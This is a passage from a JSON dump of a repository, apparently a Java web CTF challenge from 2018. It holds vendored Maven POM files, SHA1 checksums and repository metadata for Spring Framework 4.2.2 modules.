    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-context-support</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring Context Support</name>\n  <description>Spring Context Support</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>com.google.guava</groupId>\n      <artifactId>guava</artifactId>\n      <version>18.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.lowagie</groupId>\n      <artifactId>itext</artifactId>\n      <version>2.1.7</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.cache</groupId>\n      <artifactId>cache-api</artifactId>\n      <version>1.0.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.mail</groupId>\n      <artifactId>javax.mail-api</artifactId>\n      <version>1.5.4</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>net.sf.ehcache</groupId>\n      <artifactId>ehcache</artifactId>\n      <version>2.10.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>net.sf.jasperreports</groupId>\n      <artifactId>jasperreports</artifactId>\n      <version>6.1.1</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>xml-apis</artifactId>\n          <groupId>xml-apis</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jackson-core</artifactId>\n          <groupId>com.fasterxml.jackson.core</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jackson-databind</artifactId>\n          <groupId>com.fasterxml.jackson.core</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>olap4j</artifactId>\n          <groupId>org.olap4j</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>spring-context</artifactId>\n          <groupId>org.springframework</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>jackson-annotations</artifactId>\n          <groupId>com.fasterxml.jackson.core</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.velocity</groupId>\n      <artifactId>velocity</artifactId>\n      <version>1.7</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.fabric3.api</groupId>\n      <artifactId>commonj</artifactId>\n      <version>1.1.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.freemarker</groupId>\n      <artifactId>freemarker</artifactId>\n      <version>2.3.23</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.quartz-scheduler</groupId>\n      <artifactId>quartz</artifactId>\n      <version>2.2.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-beans</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-context</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-jdbc</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-tx</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-context-support/4.2.2.RELEASE/spring-context-support-4.2.2.RELEASE.pom.sha1",
    "content": "729c3b88bbd3db07938f16d1e8c0b0f6b5cc6c2a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-core/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nspring-core-4.2.2.RELEASE.jar>central=\nspring-core-4.2.2.RELEASE.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-core/4.2.2.RELEASE/spring-core-4.2.2.RELEASE.jar.sha1",
    "content": "963d6c9d0b546b6313fb51618ed5c080e8981ddc"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-core/4.2.2.RELEASE/spring-core-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-core</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring Core</name>\n  <description>Spring Core</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>commons-codec</groupId>\n      <artifactId>commons-codec</artifactId>\n      <version>1.10</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>commons-logging</groupId>\n      <artifactId>commons-logging</artifactId>\n      <version>1.2</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>log4j</groupId>\n      <artifactId>log4j</artifactId>\n      <version>1.2.17</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>net.sf.jopt-simple</groupId>\n      <artifactId>jopt-simple</artifactId>\n      <version>4.9</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.aspectj</groupId>\n      <artifactId>aspectjweaver</artifactId>\n      <version>1.8.7</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-core/4.2.2.RELEASE/spring-core-4.2.2.RELEASE.pom.sha1",
    "content": "4adecfbe3db523ad35be73df726a30bf6f9367c6"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-expression/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nspring-expression-4.2.2.RELEASE.jar>central=\nspring-expression-4.2.2.RELEASE.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-expression/4.2.2.RELEASE/spring-expression-4.2.2.RELEASE.jar.sha1",
    "content": "966ab265ede093a8cd24a09f32cf7ad96a24dc71"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-expression/4.2.2.RELEASE/spring-expression-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-expression</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring Expression Language (SpEL)</name>\n  <description>Spring Expression Language (SpEL)</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-expression/4.2.2.RELEASE/spring-expression-4.2.2.RELEASE.pom.sha1",
    "content": "8c33579f2799344a83f0201decaa5187d327a728"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-jdbc/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nspring-jdbc-4.2.2.RELEASE.jar>central=\nspring-jdbc-4.2.2.RELEASE.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-jdbc/4.2.2.RELEASE/spring-jdbc-4.2.2.RELEASE.jar.sha1",
    "content": "f77a7f5b7e3147958350d86331d3e7bea459306b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-jdbc/4.2.2.RELEASE/spring-jdbc-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-jdbc</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring JDBC</name>\n  <description>Spring JDBC</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>com.h2database</groupId>\n      <artifactId>h2</artifactId>\n      <version>1.4.190</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.mchange</groupId>\n      <artifactId>c3p0</artifactId>\n      <version>0.9.5.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.transaction</groupId>\n      <artifactId>javax.transaction-api</artifactId>\n      <version>1.2</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.derby</groupId>\n      <artifactId>derby</artifactId>\n      <version>10.12.1.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.derby</groupId>\n      <artifactId>derbyclient</artifactId>\n      <version>10.12.1.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.hsqldb</groupId>\n      <artifactId>hsqldb</artifactId>\n      <version>2.3.3</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-beans</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-context</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-tx</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-jdbc/4.2.2.RELEASE/spring-jdbc-4.2.2.RELEASE.pom.sha1",
    "content": "ea3ac5b407238e193221e623c37741822b8b5323"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-test/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nspring-test-4.2.2.RELEASE.pom>central=\nspring-test-4.2.2.RELEASE.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-test/4.2.2.RELEASE/spring-test-4.2.2.RELEASE.jar.sha1",
    "content": "39330e8e825ea9fd789684b8667248e31ccc2163"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-test/4.2.2.RELEASE/spring-test-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-test</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring TestContext Framework</name>\n  <description>Spring TestContext Framework</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>com.jayway.jsonpath</groupId>\n      <artifactId>json-path</artifactId>\n      <version>2.0.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.el</groupId>\n      <artifactId>javax.el-api</artifactId>\n      <version>2.2.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.inject</groupId>\n      <artifactId>javax.inject</artifactId>\n      <version>1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.portlet</groupId>\n      <artifactId>portlet-api</artifactId>\n      <version>2.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet.jsp.jstl</groupId>\n      <artifactId>javax.servlet.jsp.jstl-api</artifactId>\n      <version>1.2.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet.jsp</groupId>\n      <artifactId>javax.servlet.jsp-api</artifactId>\n      <version>2.2.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.servlet</groupId>\n      <artifactId>javax.servlet-api</artifactId>\n      <version>3.0.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>4.12</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>net.sourceforge.htmlunit</groupId>\n      <artifactId>htmlunit</artifactId>\n      <version>2.18</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.taglibs</groupId>\n      <artifactId>taglibs-standard-jstlel</artifactId>\n      <version>1.2.1</version>\n      <scope>compile</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>taglibs-standard-spec</artifactId>\n          <groupId>org.apache.taglibs</groupId>\n        </exclusion>\n      </exclusions>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.aspectj</groupId>\n      <artifactId>aspectjweaver</artifactId>\n      <version>1.8.7</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.groovy</groupId>\n      <artifactId>groovy-all</artifactId>\n      <version>2.4.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.hamcrest</groupId>\n      <artifactId>hamcrest-core</artifactId>\n      <version>1.3</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.seleniumhq.selenium</groupId>\n      <artifactId>selenium-htmlunit-driver</artifactId>\n      <version>2.47.1</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.skyscreamer</groupId>\n      <artifactId>jsonassert</artifactId>\n      <version>1.2.3</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-beans</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-context</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-jdbc</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-orm</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-tx</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-web</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-webmvc</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-webmvc-portlet</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.testng</groupId>\n      <artifactId>testng</artifactId>\n      <version>6.9.6</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>xmlunit</groupId>\n      <artifactId>xmlunit</artifactId>\n      <version>1.6</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-test/4.2.2.RELEASE/spring-test-4.2.2.RELEASE.pom.sha1",
    "content": "f71787d5fe6d68d0474a49c89e07e6b5a35b877c"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-tx/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:04 CST 2018\nspring-tx-4.2.2.RELEASE.pom>central=\nspring-tx-4.2.2.RELEASE.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-tx/4.2.2.RELEASE/spring-tx-4.2.2.RELEASE.jar.sha1",
    "content": "bc04eea145c8d7099b997c1436afcfc8b9bddf6b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-tx/4.2.2.RELEASE/spring-tx-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-tx</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring Transaction</name>\n  <description>Spring Transaction</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>aopalliance</groupId>\n      <artifactId>aopalliance</artifactId>\n      <version>1.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.ibm.websphere</groupId>\n      <artifactId>uow</artifactId>\n      <version>6.0.2.17</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.ejb</groupId>\n      <artifactId>ejb-api</artifactId>\n      <version>3.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.resource</groupId>\n      <artifactId>connector-api</artifactId>\n      <version>1.5</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>javax.transaction</groupId>\n      <artifactId>javax.transaction-api</artifactId>\n      <version>1.2</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-aop</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-beans</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-context</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>org.springframework</groupId>\n      <artifactId>spring-core</artifactId>\n      <version>4.2.2.RELEASE</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-tx/4.2.2.RELEASE/spring-tx-4.2.2.RELEASE.pom.sha1",
    "content": "558ca74ed6a36e5c24dee09972633b39ec2e939f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-web/4.2.2.RELEASE/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:05 CST 2018\nspring-web-4.2.2.RELEASE.pom>central=\nspring-web-4.2.2.RELEASE.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-web/4.2.2.RELEASE/spring-web-4.2.2.RELEASE.jar.sha1",
    "content": "1e5dc84520538d166c8b7a7186b9cf4e8f265694"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/springframework/spring-web/4.2.2.RELEASE/spring-web-4.2.2.RELEASE.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.springframework</groupId>\n  <artifactId>spring-web</artifactId>\n  <version>4.2.2.RELEASE</version>\n  <name>Spring Web</name>\n  <description>Spring Web</description>\n  <url>https://github.com/spring-projects/spring-framework</url>\n  <organization>\n    <name>Spring IO</name>\n    <url>http://projects.spring.io/spring-framework</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <developers>\n    <developer>\n      <id>jhoeller</id>\n      <name>Juergen Hoeller</name>\n      <email>jhoeller@pivotal.io</email>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:git:git://github.com/spring-projects/spring-framework</connection>\n    <developerConnection>scm:git:git://github.com/spring-projects/spring-framework</developerConnection>\n    <url>https://github.com/spring-projects/spring-framework</url>\n  </scm>\n  <issueManagement>\n    <system>Jira</system>\n    <url>https://jira.springsource.org/browse/SPR</url>\n  </issueManagement>\n  <dependencies>\n    <dependency>\n      <groupId>aopalliance</groupId>\n      <artifactId>aopalliance</artifactId>\n      <version>1.0</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.caucho</groupId>\n      <artifactId>hessian</artifactId>\n      <version>4.0.38</version>\n      <scope>compile</scope>\n      <optional>true</optional>\n    </dependency>\n    <dependency>\n      <groupId>com.fasterxml.jackson.core</groupId>\n      